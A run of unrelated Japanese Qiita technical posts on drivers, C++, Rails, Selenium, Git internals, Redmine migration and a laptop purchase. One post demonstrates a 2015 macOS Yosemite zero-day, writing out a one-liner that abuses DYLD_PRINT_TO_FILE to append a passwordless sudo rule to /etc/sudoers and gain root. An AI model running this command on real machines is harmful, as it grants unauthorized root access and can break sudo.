OmniAICreator/Qiita-1.07M huggingface dataset:
Linuxでユーザー空間で動作するプログラムとハードウェアがメモリを共有するためのデバイスドライバ（read/write追加）


前回投稿した[「Linuxでユーザー空間で動作するプログラムとハードウェアがメモリを共有するためのデバイスドライバ](http://qiita.com/ikwzm/items/cc1bb33ff43a491440ea)で紹介した[udmabuf](https://github.com/ikwzm/udmabuf)に read() と write() を追加しました。

当初は mmap() だけ出来れば良いだろうと思ってました。
しかし、CやC++でプログラミングする場合は良いのですが、Ruby等のスクリプト言語からmmap()を使うのは面倒そうです。
そこで、単純に read() と write() が出来るようにしました。

read()、write()が出来るので、次のように dd コマンドを使って直接ファイルからコピーできるようになります。

```Shell
zynq$ dd if=/dev/urandom of=/dev/udmabuf0 bs=4096 count=1024
1024+0 records in
1024+0 records out
4194304 bytes (4.2 MB) copied, 3.07516 s, 1.4 MB/s
```


```Shell
zynq$dd if=/dev/udmabuf4 of=random.bin
8192+0 records in
8192+0 records out
4194304 bytes (4.2 MB) copied, 0.173866 s, 24.1 MB/s
```

read() と write() ではユーザー空間上のバッファとDMAバッファとの間でデータのコピーを行います。
そのため、mmap()を使ってDMAバッファをマッピングして直接アクセスするのに比べて時間がかかります。

また、キャッシュの制御の関係上、mmap()との併用は何が起こるかまだ判らないので推奨しません。
c++11 > std::find(); > If no such element is found, the function returns last.

http://www.cplusplus.com/reference/algorithm/find/

> If no such element is found, the function returns last.

<hr>
引用: ゲームプログラマのためのコーディング技術 by 大圖衛玄(Moriharu Ohzu)さん

```cpp
assert(std::find(&table[0], &table[4], num) != &table[4]);
```

<hr>

~~要確認: 最後のが見つかった時も &table[4] が返されるのか？~~

Eightさんのコメントにより意味が分かりました。
c++11 > std::minmax(314, 271);

http://kaworu.jpn.org/cpp/std::minmax

> std::minmax とは、２つの値から小さい値と大きい値を返す関数です。

C++11から利用できる。

http://ideone.com/bfVrZG

```cpp
#include <iostream>
#include <algorithm>
#include <string>
#include <tuple>

using namespace std;

int main() {
	auto t1 = minmax(314, 271);
	cout << get<0>(t1) << " " << get<1>(t1) << endl;
	return 0;
}
```

min,max同時に欲しいわけではない場合は、それぞれ std::min(), std::max()を使えばいい。
c > default: assert(!"不正な状態"); | default: || do nothing

引用: ゲームプログラマのためのコーディング技術 by 大圖衛玄(Moriharu Ohzu)さん

```c
switch (state) {
    case STATE_WAIT: wait(); break; // 待機状態
    case STATE_WALK: walk(); break; ...
    ...
    default: assert(!"不正な状態"); // コメント付きのassert
}
```

> 不正な状態になりdefault節に到達すると、次のようなassertのメッセージが表示されます。コメントによってエラーの原因を、わかりやすく伝えることができます。

```
Assertion failed; !"不正な状態", file player.cpp line 64
```

<hr>
一方で、default節が正常で何も処理しない場合は do nothing というコメントをつけるという書き方をどこかの本で見た。

```
switch (state) {
    default:
       // do nothing
       break;
}
```

// do nothing がついていない場合、「コーディング途中なのか？」とコードを読んだ人が疑問を持つかもしれないが、// do nothing があれば「ここでは何もしないのだ」と意図が明確になる。
shell / c > shell: シェルコマンドを実行した結果が0という意味なので、コマンドの実行が成功したことを意味する / C: 0は偽を表し、真は0以外の値で表現する

引用: プログラミングテクニック UNIXコマンドのソースコードにみる実践プログラミング手法 by 多治見寿和さん


manのソースコードに関して

```c
if (apropos) {
    do_apropos = (nextarg);
    status = (status ? 0 : 1 ); /* reverts status, see below */

}
```
というコードがあり、その説明として

> statusが０の場合、シェルでコマンドを実行した結果が0という意味なので、コマンドの実行が成功したことを示します。ところが、C言語では0は偽を表し、真は0以外の値で表現します。そこで、C言語での値に合わせるために、0と0以外の値を逆にしています。

> 最後に（シェルに）値を返すときにも、この値を使っています。その場合も、上記と逆の理由で値を反転する必要があります。

```c
return (status == 0); /* status==1 --> exit(0), 
    status==0 --> exit(1); */
```
技術英語 > They're [quite technical].


@ Star trek Voyager > Eye of the needle

医学の勉強を進めたいというケスに対して専門書が入ったタブレットを渡しながらドクターが言った言葉
「 They're quite technical 」

日本語訳として「専門書だから難解だぞ」とついていた。

自分が訳すとしたら「これはかなり専門的だぞ」。

<hr>
quiteで思い出したのは
quite a few (かなりの)

<hr>
QuiteでなくQuietだけど
Sure is quiet. (本当に静かですね）。

<hr>
GCDとNSTimerのハマりどころ


賢明な皆さんはこんなことは無いかも知れないけど、ハマったので覚え書き
内容はNSTimerがどんなに頑張っても発火しないという現象。
タイトルでお察しかも知れないが、GCDを使っている時にNSTimerを使う時は、ちょっと注意が必要

## gcd_asyncの先でTimerの仕掛け方

気がついてしまえば当たり前なんだけど、`dispatch_async`での処理は、新しいRunLoopが作られ、使い終わったら破棄される。これがすっぽり抜け落ちていた。

### 間違ったコード

```objective-c:wrong.m
NSTimer *aTimer = [[NSTimer alloc] initWithFireDate:date interval:seconds target:self selector:@selector(foo:) userInfo:userInfo repeats:YES];
[[NSRunLoop currentRunLoop] addTimer:timer];
```

何が間違いかお解りだろうか？
そう！別スレッドにいるにもかかわらず、`[NSRunLoop currentRunLoop]`を使ってしまっている.


### 正解はこう

```objective-c:work.m
NSTimer *aTimer = [[NSTimer alloc] initWithFireDate:date interval:seconds target:self selector:@selector(foo:) userInfo:userInfo repeats:YES];
[[NSRunLoop mainRunLoop] addTimer:timer];
```
別に`mainRunLoop`じゃなくてもいいんだけど、永続しているRunLoopを取得して、それにタイマーをフックしないとダメ。
じゃあないと、折角しかけたタイマーが、ランループ毎消失してしまって、失火する。
たったこれだけなんだけど、ハマる時はハマるので気をつけよう。
Yosemite10.10.4で権限昇格のゼロデイを試してみる

##はじめに

6月頃から話題になってたようですが、早くも簡単に実行するコマンドがアップされていました。

<blockquote class="twitter-tweet" lang="ja"><p lang="en" dir="ltr">echo &#39;echo &quot;$(whoami) ALL=(ALL) NOPASSWD:ALL&quot; &gt;&amp;3&#39; | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s # via reddit: numinit (shorter)</p>&mdash; Stefan Esser (@i0n1c) <a href="https://twitter.com/i0n1c/status/623727538234368000">2015, 7月 22</a></blockquote>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>

権限昇格の脆弱性(Exploit)というのは、パスワードを回避して上級ユーザーにログインする感じのものを言います。今回のコマンドもそんな感じで、パスワード入力なしに`sudo su`が実行されます。

また、ここで言うゼロデイ(0day)というのは公式では修正されていない脆弱性、一般には知られていない脆弱性のことを言います。0dayだと、対象となるOS及びツールなどで、ほとんどの場合、攻撃が通ってしまいます。

##内容

```bash:
$ echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su
```

上記を実行すると、パスワード入力なしに`sudo su`が実行できてしまいます。

内容は読んでみても分かるように、`/etc/sudoers`に`ALL ALL=(ALL) NOPASSWD: ALL`を追記して、`sudo hoge`を実行できてしまうコード。ここを`sudo su`にすると、`root`でログインできてしまう。

##注意

`/etc/sudoers`の記述をミスってしまうと`sudo`が実行できなくなってしまいます。これは割と有名な話で、`/etc/sudoers`のような危険なファイルは、通常、直接編集するのではなく`visudo`などで編集します。

なので、試す際は、仮想環境下または、最新の注意を払って自分が管理する環境下のみで実行するようにしてください。

##危険度

この手の権限昇格の脆弱性、それ自体は緊急度は最高レベルではないため、それほど心配する必要はないかもしれません(コンピュータの使い方にもよりますが)。

一番注意が必要なのは、リモートで任意のコードを実行できるゼロデイ脆弱性で、この場合、コンピュータの使い方問わず攻撃されてしまう危険があります。

ただ、そうはいってもこれらは、ツールに依存するものから、OSそのものに対するものまで様々で、今回は、OSそのもの(sudoはデフォルトでインストールされているため、これをOSの機能の一部とみなす)に対するものなので、危険度は高めかもしれません。Appleからの修正アップデートを待ちましょう。

##復旧

もし`/etc/sudoers`の記述をミスして、`sudo`コマンドが有効に実行できなくなった場合の復旧方法を一応書いておきます。

復旧方法は簡単で、Linuxの場合は、単にマウントして`/etc/sudoers`を修正すればよいです。rootのSessionが残っていればそれを辿って、rootで編集します。

Macの場合は、`root`というユーザーを有効にすることで復旧可能です。`root`ユーザーを有効にする方法は以下のコマンドを使います。

```bash:
$ dsenableroot
```

あとは`command + shift + option + Q`でログアウトして、`その他のユーザー` - `root`でログイン後に`/etc/sudoers`を編集するとよいでしょう。
rails new したときのオプションを自動的に保存する

Railsはソースコードの自動生成が充実しているので、実行したコマンドを記録しておくと何かと便利です。コマンドを再利用する場合や、「どいういうオプションで実行したっけ？」という場合に、後から参照することが可能となります。

以下の方法は、`rails new`で新規にプロジェクトを作成する際に使用したオプションを、自動的に保存しておく方法です。副作用はありません。ぜひ設定してください。

まず、お使いの`template.rb`の先頭に以下のように記述します。`template.rb`が無い場合は、このまま保存して使ってください。

```lang:template.rb
args = self.instance_eval { @_initializer[0, 2] }.flatten
create_file "memo.txt",  <<END.strip_heredoc
  rails new #{args.join ' '}
END
```

### 実行方法
`-m`オプションで、先ほどの`template.rb`を指定して`rails new`を実行します。

```
$ rails new hoge -T -d mysql -m template.rb
```

### 実行結果

プロジェクトルートに、以下のような内容のファイルが作られます。

```lang:memo.txt
rails new hoge -T -d mysql -m template.rb
```

### Tips

`memo.txt`には、`rails g`の結果も保存しておくと、migrationを作り直す時など(indexを付け忘れたことに後から気づくとか)に何かと便利です。

```lang:memo.txt
rails new hoge -T -d mysql -m template.rb

rails g scaffold Book \
  title \
  isbn:index \
  author:belongs_to{required}
```
Selenium WebDriver

1.Googleが開発した**Webアプリケーション用テストフレームワーク**

**ネイティブテスト**ができ、一番使われているのではないでしょうか。

しかし、Javaを覚えなければいけないので**QAエンジニア**と言えども、言語の習得から始めます。**「Selenium 3」** が登場するまでは、**WebDriver**がメインですね。


**Selenium IDE**では　**「Firefox」** ブラウザ限定でしたが。**Selenium WebDriver**では以下のブラウザも可能です。

```html+cheetah:対象ブラウザ
Microsoft Edge
Internet Explorer
Google Chrome
Firefox
Safari
```
http://www.seleniumhq.org/download/
Selenium WebDriverの**java言語**を用意し、下記の**Zipファイル**を保存します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/55160/26998f2d-a6c6-4a6b-aadd-36068653e5b8.png)


次に、**eclipse**をダウンロードします。
https://eclipse.org/downloads/
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/55160/7b25e211-bbf0-4cde-854a-1c884b401553.png)


```html:Pleiades(プレアデス)
日本語版もあります。Pleiades
Pleiades は Eclipse のような Java アプリケーションを日本語化するためのツール
```
https://willbrains.jp/

**Pleiades All in One 4.4.2.v20150310** 
https://willbrains.jp/index.html#/pleiades_distros2024.html

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/55160/96f1080f-d51b-4528-941b-4b4354e263a7.png)


解凍したら、**eclipse**を起動します。
**スプラッシュ画面**が表示します。(下は古いですので最新版を）
![test.png](https://qiita-image-store.s3.amazonaws.com/0/55160/d2000f45-af99-0314-3b70-345c4a71e90c.png)

解凍にけっこう時間がかかりますね。**「解凍状況」** を確認しつつ。

```html+cheetah:対象ブラウザ
 selenium-2.48.0
           ├ libs
           ├ selenium-java-2.48.0.jar
           └ selenium-java-2.48.0-srcs.jar
```
新規Javaプロジェクトを作成します。
プロジェクトの参照ライブラリ：ダウンロードjarを追加
プロジェクトを右クリック
「ビルド・パス（B)」 > 「外部アーカイブの追加（V)」
「selenium-java-2.48.0.jar」と「selenium-java-2.48.0-srcs.jar」と「libs」内の全てのjarを追加

```java:まずは、Javaで簡単なコードを書く
package test;

import java.util.concurrent.TimeUnit;

import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.ErrorCollector;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.chrome.ChromeDriver;

 
public class SiteSearch {
private WebDriver driver;


@Before

public void setUp() throws Exception {
System.setProperty("webdriver.chrome.driver","C:\\tmp\\chromedriver.exe");

driver = new ChromeDriver();
driver.get("http://www.yahoo.co.jp");
System.out.println("ページ: " + driver.getTitle());


driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS);

}

@Test
public void test() throws Exception {

}


@Rule

public ErrorCollector collector = new ErrorCollector();

@Test

public void test1() throws Exception {
}

@After

public void tearDown() throws Exception {

driver.quit();
}

}
```

#Android SDK のインストール

http://developer.android.com/sdk/index.html

**最新版**
http://dl.google.com/android/installer_r24.3.4-windows.exe

**保存する**

![sample.png](https://qiita-image-store.s3.amazonaws.com/0/55160/733e6244-fad4-2f75-45d6-fa159cf116be.png)

installer_r24.3.4-windows

SDK Manager.exeを起動

Android SDK Tools

```html:下記を選択する
・Android SDK Platform-tools
・Android SDK Build-tools
・Android 4.4.2
・Android Support Library
・Google USB Driver
・Intel x86 Emulator Accelerator(HAXM)
```
**インストールする時間**が長いですね。。


随時更新します。
Git の内部構造 - Objects


[Pro Git - 10.2 Git Internals - Git Objects](https://git-scm.com/book/en/v2/Git-Internals-Git-Objects) を読んだメモ。

`.git/objects` は key value ストア。キーは SHA1 ハッシュ。上 2 桁がディレクトリ名、それ以降がファイル名。値には以下の種類がある。

- blob: ファイルの中身。
- tree: tree, blob の一覧。それらの名前やパーミッションなどを持っている。
- commit: いわゆるコミット。親コミット、tree、日時やコミットした人などを持っている。

コミットの SHA1 ハッシュはコミットだけのものではなく、ファイルの中身やディレクトリ構成も持っているのだった。`.git/objects` を覗いてみたところ、ファイルの内容を差分じゃなくてそのまま全部持っているように見える。どうなっているんだろう？（[Packfiles](https://git-scm.com/book/en/v2/Git-Internals-Packfiles) に書いてあるっぽい。）

## Object ファイルの中身

Ruby で書くと blob の場合はこんな感じ。

```rb
type = 'blob'
content = 'hello, world!'

header = "#{type} #{content.size}\0"
store = header + content

file_name = Digest::SHA1::hexdigest(store)
file_content = Zlib::Deflate.deflate(store)
```

## ローレベルなコマンド

- `git hash-object`: write an object to the key value store?
- `git cat-file`: read an object from the key value store
- `git update-index`: add file or data from tree to index
- `git write-tree`: write data on index to tree
- `git read-tree`: read data from tree and add it to index
- `git commit-tree`: make a commit with tree

## やってみた

```
$ cat .git/HEAD
ref: refs/heads/master
$ cat .git/refs/heads/master
2420f123e6963ba7f4bbf269ccd855010ff9c324
```

```
$ cat .git/objects/24/20f123e6963ba7f4bbf269ccd855010ff9c324
****
```

バイナリなのでよくわかりません。git cat-file で中身を見ます。

```
$ git cat-file -t 2420f123e6963ba7f4bbf269ccd855010ff9c324
commit
$ git cat-file -p 2420f123e6963ba7f4bbf269ccd855010ff9c324
tree 75b1c654dbe7baa6c28d5e31b369bdc663cc36e8
parent 251c63a932f2f1681345a584ef0f8ac67538e057
author Shuhei Kagawa <shuhei.kagawa@gmail.com> 1437581686 +0900
committer Shuhei Kagawa <shuhei.kagawa@gmail.com> 1437581686 +0900

Implement Huffman coding for hierarchical softmax.
```

コミットでした。そのコミットの中身は tree で表現されているようです。

```
$ git cat-file -p 75b1c654dbe7baa6c28d5e31b369bdc663cc36e8
100644 blob 8ee1bf9489a3223e94d55bf46fcfed98bdbf38c2	.gitignore
100644 blob c1f4f2fb6d3479db059139ac62a66bde8d96f5ea	LICENSE
100644 blob d585d0c7ff977a7c30758ad1d95967de7838d98b	README.md
100644 blob 9a994af677b0dfd41b4e3b76b3e7e604003d64e1	Setup.hs
040000 tree e6d14e6e74b8434223600b64f90016023b11fd58	app
040000 tree ba4215e8cc5450ba64beb73e97834efdd1b0cc69	src
100644 blob 4d231cdcf36997b97a2a54bc02fd857ab36680e3	stack.yaml
040000 tree 0d4a53b6a6584fadf889c9b1ccafbd5445b73e4a	test
100644 blob 1614394782333d44c4da2a5013ece2a29bd8bc32	wv.cabal
```

wv.cabal を見てみます。

```
$ git cat-file -p 1614394782333d44c4da2a5013ece2a29bd8bc32
name:                wv
version:             0.1.0.0
synopsis:            Initial project template from stack
description:         Please see README.md
...
```

Q. diff でなく、ファイルの内容が全部入っている？よくわからない。

ディレクトリは tree で表現されているようです。

```
$ git cat-file -t e6d14e6e74b8434223600b64f90016023b11fd58
tree
$ git cat-file -p e6d14e6e74b8434223600b64f90016023b11fd58
100644 blob fdcefe22a449011b0c1944d088b6265370d089b4	Main.hs
```
iOSアプリ開発:プロジェクトで使うリソースファイルが読み込めない

※個人で管理しているHPに引っ越ししました。
リンク切れ等考慮して本ページは残しておきますが、今後は[HP](https://kittenkitten.net/2015/07/24/ios_dev_prj_resource/)のほうで更新します。

## 現象
下記のように、シェーダーファイルを読み込ませようとした所、pathNameに値が入らずsourceにも値が入ってなかったです。

```objc++:Test.m
NSString *pathName = [[NSBundle mainBundle] pathForResource:@"Shader" ofType:@"vsh"];
const GLchar *source = (GLchar *)[[NSString stringWithContentsOfFile:pathName encoding:NSUTF8StringEncoding error:nil] UTF8String];
if (!source) {
  NSLog(@"Failed to load vertex shader");
  return;
}
```

## 調査
### プロジェクトに[Shader.vsh]が追加されているのか確認。
プロジェクトナビゲータ上にファイルがあれば大丈夫。
※プロジェクトナビゲータの表示の仕方
　XcodeのView->Navigators->Show Project Navigator

無ければ、下記ページで紹介している方法で追加してください。
[iOSアプリ開発:画像追加](http://qiita.com/pgcmg00/items/1e946793e12e3e3d6c5a)


### リソースとしてコピーする対象ファイルに追加されているのか確認。
プロジェクトナビゲータの一番上に、青いアイコンがあるかと思います。
それを押下するとPROJECTとTARGETSが表示されるので、TARGETSの今回作業しているものを押下。
Build Phases->Copy Bundle Resources
にあるものは、リソースとしてアプリ内部から扱う事が出来るようコピーされます。
無いと扱う事が出来ません。

今回は、ここに[Shader.vsh]が無かったです。


## 対応
先ほどの[リソースとしてコピーする対象ファイルに追加されているのか確認。]で見た、Copy Bundle Resourcesの下に[+]があるので、それを押下し[Shader.vsh]を指定したら追加され、正常に動作するようになりました。

後、Compile Sourcesに[Shader.vsh]が追加されていたようなので、こちらは削除しました。
Elixir環境構築

elixirをぼちぼちやってますが、
自宅のWin8.1環境でもできるように環境構築

# 参考記事
こちらの記事を参考に導入。ありがとうございました。
http://qiita.com/tsutorm/items/3485458379d542ef628a

#つまづきポイント
「3. 環境変数パスを通す」でelixirのパスが以下の通り。
`C:\ProgramData\chocolatey\lib\Elixir\bin`

追記
久しぶりに仮想環境へ構築したら、mix local.hex でエラーが発生
Mix could not download metadata at http://s3.amazon....
みたいなエラーが出た。こういう場合は大概プロキシ周りなので、
コマンドプロンプトで下記のように環境変数を設定したところ、うまくいった
SET HTTP_PROXY=http://server_name:8080
SET HTTP_PROXYS=http://server_name:8080

あとは、問題無くセットアップ完了です。
Ottoを使ってて気づいたこと


[Otto](http://square.github.io/otto/)を使い始めて随分経ちました。特にActivityとFragmentとService間のイベント通知手段として大分助かってますが幾つか気づいた点もありました。

## 1. Androidでは実行時のスレッドに注意

お約束ですがUIに対する変更はMain Thread以外では出来ません。

ThreadEnforcerで実行できるスレッドをチェックできますが面倒くさい場合は下のようなBusの拡張クラス(AndroidBus)を使うといいと思います。(このコードはどこかからのパクリですが元ソースが見つかりませんでしたm(_ _)m)

```BusHolder.java
public class BusHolder {
	private static final Bus sBus = new AndroidBus();

	public static Bus getInstance() {
		return sBus;
	}
}
```

```AndroidBus.java
public class AndroidBus extends Bus {
	private final Handler mHandler = new Handler(Looper.getMainLooper());

	@Override
	public void post(final Object event) {
		if (Looper.myLooper() == Looper.getMainLooper()) {
			super.post(event);
		} else {
			// force to run post() on main thread
			mHandler.post(new Runnable() {
				@Override
				public void run() {
					post(event);
				}
			});
		}
	}
}

```


## 2. 親クラスで定義した@Subscribeは登録されない

[公式サイト](http://square.github.io/otto/)にも

>  Unlike the Guava event bus, Otto will not traverse the class hierarchy and add methods from base classes or interfaces that are annotated. This is an explicit design decision to improve performance of the library as well as keep your code simple and unambiguous.

ってありますがパフォーマンスの改善とわかりやすさを目的に継承しているクラスやインターフェースで定義されているアノテーションは見ないようになってます。

といっても特定のSubscriberの処理を共通化する場合があると思いますのでその場合は下のようにして回避できます。

```

public class Foo extends Fragment {
	public void onHoge(HogeEvent ev) {
		// TODO implement
	}
}

public class Bar extends Foo {
	protected void onStart() {
		super.onStart();
		// BusHolder is a singleton of a Bus instance
		BusHolder.getInstance().register(this);
	}

	protected void onStop() {
		BusHolder.getInstance().unregister(this);
		super.onStop();
	}

	@Subscribe
	@Override
	public void onHoge(HogeEvent ev) {
		super.onHoge(ev);
	}
}


```

## 3. Subscriber内でFragmentTransaction#commit()を実行するとIllegalStateExceptionで落ちる場合があります

Ottoに限らずですがFragment#onSaveInstanceState()以降の状態でFragmentTransaction#commit()を呼ぶと

> Caused by: java.lang.IllegalStateException: Can not perform this action after onSaveInstanceState


で落ちます。

Ottoの場合はFragment#onStart()でBus#register()してFragment#onStop()でBus#unregister()するのが一般的ですがonStop()は **onSaveInstanceState()の後** に実行されるので運が悪いと落ちます。

自分では気づかなくてもCrashlytics等でクラッシュを収集していると思った以上に出ます。

Subscriber内ではFragmentTransaction#commitAllowingStateLoss() を使うのが無難だと思います。

## 4. 引数を再利用する

最初は

```
BusHolder.getInstance().post(new HogeEvent());
```

みたいな事をやってたんですがわざわざ空インスタンスを作るのは勿体無いのでインスタンスに可変の変数を持たせる必要がない場合はEnumを使うようにしました。


```
enum HogeEvent {
	FOO, BAR, BAZ

	// 必要に応じて固定の変数をもたせるのも可能
}

BusHolder.getInstance().post(HogeEvent.FOO);
```
Windows版Bitnami Redmineを別サーバーへ移行


Windows Server 2003 殲滅作戦の一環として部内Redmine環境を移行したのでメモ

# 移行前後で環境比較
## 旧環境
サーバー：Windows Server 2003R2
Redmineのバージョン：Redmine 1.0.3

##新環境
サーバー：Windows Server 2008R2
Redmineのバージョン：Redmine 3.0.3

# 参考にした記事
Redmine0.9.1(CentOS5.8上)→Bitnami Redmine Stack2.5.1(Windows)に移行＋Bitnami添付のSubversionへのデータ移行まとめ
http://micarom.hatenablog.com/entry/2014/07/08/004007

＃文字化け、不要テーブルの削除等、躓いたところが一致していたので、
　大変たすかりました。

#１．MySQLダンプのエクスポート（旧環境）
## １．１ パスワードの確認
下記設定ファイルの「Production」セクションにて、
Redmineで使用するDB名、ユーザ名、パスワードが記録されているため、確認する

## １．２ CD
コマンドプロンプトを起動し、Redmineインストールフォルダ/mysql/binフォルダへ移動する。
`cd /d G:\BitNami Redmine Stack\mysql\bin`

## １．３ エクスポート
以下コマンドにてMySQLのダンプをエクスポート
この時、取得したダンプが文字化けしていたため、参考サイトの情報より「--default-character-set=binary」を追加
`mysqldump -u bitnami -p bitnami_redmine --default-character-set=binary > G:\redmine_backup.dmp`
（mysqldump -u #ユーザ名 -p #DB名 --default-character-set=binary > #出力ファイルパス）

# ２．MySQLダンプの文字コード変更

参考サイトと同様に、そのままインポートしたら文字化けしたため、
ダンプファイル内にてテーブルのCHARSETに「latin1」を指定している部分を
一括置換で「utf8」に変更

# ３．Bitnami Redmineのインストール
下記より最新バージョンをダウンロード、インストール
https://bitnami.com/stack/redmine/installer#windows

# ４．MySQLダンプのインポート（新環境）
## ４．１ パスワードの確認
下記設定ファイルの「Production」セクションにて、
Redmineで使用するDB名、ユーザ名、パスワードが記録されているため、確認する
`Redmineインストールフォルダ/apps/redmine/config/database.yml`

## ４．２ CD
コマンドプロンプトを起動し、Redmineインストールフォルダ/mysql/binフォルダへ移動する。
`cd /d D:\Bitnami\redmine-3.0.3-0\mysql\bin`

## ４．３ インストール時のダンプ取得
インストール時のダンプをエクスポート
`mysqldump -u bitnami -p bitnami_redmine > D:\RedmineTrans\redmine_org.dmp`

## ４．４ インポート
旧サーバーにて取得・編集したダンプをインポート
`mysql -u bitnami -p bitnami_redmine < D:\RedmineTrans\redmine_backup.dmp`

# ５．DBのマイグレーション

## ５．１ パス設定
コマンドプロンプトを起動し、Ruby実行フォルダへパスを通す
`SET PATH=%PATH%;D:\Bitnami\redmine-3.0.3-0\ruby\bin;`

## ５．２ CD
マイグレーションを実行するフォルダへ移動
`cd /d D:\Bitnami\redmine-3.0.3-0\apps\redmine\htdocs`

## ５．３ マイグレーション
マイグレーション実行
`bundle exec rake redmine:plugins:migrate RAILS_ENV=production`

＃ここで、参考のサイトと同様に既にテーブルが存在するというようなエラーが発生したため、いくつかテーブルを削除

## ５．４ テーブル削除
既存テーブルを削除
コマンドプロンプトより、MySQLのDBへ接続
`mysql -u bitnami -p bitnami_redmine`
＃パスワードはインポート時に調べたものを用いる

以下のコマンドによりテーブル４つを削除
`drop table changeset_parents;
drop table queries_roles;
drop table custom_fields_roles;
drop table email_addresses;`

## ５．５ マイグレーション
再度、マイグレーション実行
正常に終了。新環境のRedmineへ接続し、旧環境のユーザでログインできることを確認。

# ６．その後
使ってもらったら日本語ファイル名のファイルがアップロードできねーぞコラ！
と言われたけど、業務が激しく対応できていなかったら、いつの間にか対応してくれてた。
どういう風に対応したかは不明（TODO：分かったら追記する）
WindowsでシンボリックリンクとUAC

ファイルのシンボリックリンクを作るには特権`SeCreateSymbolicLinkPrivilege`が必要。
管理者は特権がある。管理者でなくても特権があればシンボリックリンクは作れる。

administratorsのメンバーは、UACにより特権が削除される。
administratorsのメンバーでないアカウントに特権を与えれば**管理者として実行**しなくてもシンボリックリンクは作れる。

特権はグループポリシーで設定する。
Crystal - Array - Instance Method - first? / last? #crystal

## <i class="fa fa-diamond" style="font-size:1em;"></i> 概要
CrystalのArrayクラスのインスタンスメソッド`first?`,`last?`について

## <i class="fa fa-check-circle" style="font-size:1em;"></i> first,lastの挙動
Crystalでは、Rubyと異なり配列の要素数が0の時に`first`,`last`を利用すると
`IndexOutOfBounds`エラーが発生します。
`first(&block)`,`last(&block)`を利用すると、例外の代わりにブロック内の処理を行います。

`Array#first?`,`Array#last?`を利用すると、要素数が0の場合にエラーを返さず、
nilを返してくれます。
これは、Rubyで要素数がゼロの場合に`first`,`last`を利用した場合と同じ挙動です。
内部の実装的には`first{nil}`,`last{nil}`になっています。

## <i class="fa fa-flask" style="font-size:1em;"></i> サンプル
### <i class="fa fa-code" style="font-size:1em;"></i> プログラム
~~~ruby
list = (1..20).to_a
pp list.first?
pp list.last?
list = Array(Int32).new
pp list.first?
pp list.last?
begin
  list.first
rescue e
  pp e.class
  pp e.message
end
~~~

### <i class="fa fa-file-text" style="font-size:1em;"></i> 出力
~~~ruby
list.first? = 1
list.last? = 20
list.first? = nil
list.last? = nil
e.class = IndexOutOfBounds
e.message = "Index out of bounds"
~~~

## <i class="fa fa-book" style="font-size:1em;"></i> 外部資料
* <i class="fa fa-external-link" style="font-size:1em;"></i> [Array - Crystal API Library](http://crystal-lang.org/api/index.html#http%3A//crystal-lang.org/api/Array.html)
根っからのWindowsユーザーがMacを買おうと思った話(購入編)


[根っからのWindowsユーザーがMacを買おうと思った話(検討編)](http://qiita.com/keni_w/items/163c372a7f0d3f6c6712)に引き続き、
意外と早く**購入編**になってしまいました(笑)

# 購入まで
ひたすら、情報収集でした。
秋葉原のSofmapやじゃんぱらを巡ったり、
ヤフオク眺めたり、
[Mac整備済製品 ](http://www.apple.com/jp/shop/browse/home/specialdeals/mac)
見たり。

色々調べて、MacBook Proにしようと、思った矢先に、整備済製品で2013年のMacBook AirのCore i7、メモリ8Gにカスタマイズされたモデルが出てきて、これにしようか～とか思ったり、MBAの安いやつでもいいかなぁ・・・とか思ってみたりしてました。

# そして購入へ・・・

さて、7/18(金)、毎週欠かさず見ている(笑)、日経トレンディの「[価格情報・週末が狙い目](http://trendy.nikkeibp.co.jp/article/column/20070606/1000467/)」を見ていると、こんな記事が・・・
[この週末は、17日（金）にスタートする渋谷のリニューアルセールが狙い目！ 限定1台のMacBook Proを手にする幸せ者は!?](http://trendy.nikkeibp.co.jp/article/column/20150716/1065667/?SS=expand-digital&FD=937935676)※写真はMacBookですが・・・。
今年発売のMacBook Pro([MacBook Pro Retinaディスプレイ Early 2015 MF839J/A](http://www.apple.com/jp/shop/buy-mac/macbook-pro))の未使用品が税込約12万と破格の値段で売りに出されるというではないですか・・・。税込だと、約16万ですから、4万近くお買い得・・・。

これは欲しい！と思ったものの、この日は、AWSのAmazon API GatewayのWebinerがあり、買いに行けない。・・・そもそも、この値段なら、速攻でなくなるんじゃね？って思って諦めてました。

翌19日(土)、雨も降ってるし、家でゴロゴロして、夕方ちょっと外出した時に、TwitterでMacBookで検索をかけていたら、以下のツィートが
<blockquote class="twitter-tweet" lang="ja"><p lang="ja" dir="ltr">リニューアルセール!!&#10;Apple MacBook Pro 13インチ : 2.7GHz Retinaディスプレイモデル MF839J/A (Early 2015)&#10;未開封品がなんと119,800円!!限定1台、店頭先着のみです。&#10;2Fへどうぞ!!&#10;<a href="https://twitter.com/hashtag/%E3%81%98%E3%82%83%E3%82%93%E3%81%B1%E3%82%89?src=hash">#じゃんぱら</a> <a href="https://twitter.com/hashtag/apple?src=hash">#apple</a></p>&mdash; じゃんぱら渋谷宇田川店 (@janpara_jud) <a href="https://twitter.com/janpara_jud/status/622285899385016320">2015, 7月 18</a></blockquote>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>

はい？まだあるの？何かの間違え？と思って、試しに店舗に電話して聞いてみると、在庫はデータ上あるということ。
悩みましたよ。ただ、現行モデルが4万円近く安く買えるってのはお買い得じゃないかって。
これは運命の出会いに違いないとか・・・。
正直、なんで残ってんの？って気もしました。
悩んだ結果、これは絶対にお買い得だと思って、これは買う！と決意して（実際は見てから決めようと思ってましたが・・・。）再度電話して、取り置きを依頼。

散歩な服装で、電車に乗って、渋谷のじゃんぱら渋谷宇田川店へ。
ホント、未開封品でした。店員さんに中身見せられませんと言われたぐらいでした。
店員さんもこれはお買い得ですよ～って言ってましたね。

で、 購入しました！ :laughing: :tada: 

![買ったMacBook Pro 13インチ Retinaディスプレイモデル](https://scontent.xx.fbcdn.net/hphotos-xtp1/v/t1.0-9/11755779_866802813405144_4057928586446503037_n.jpg?oh=0bf59cb1a6e20026286e45aebdd68296&oe=564ACC07)
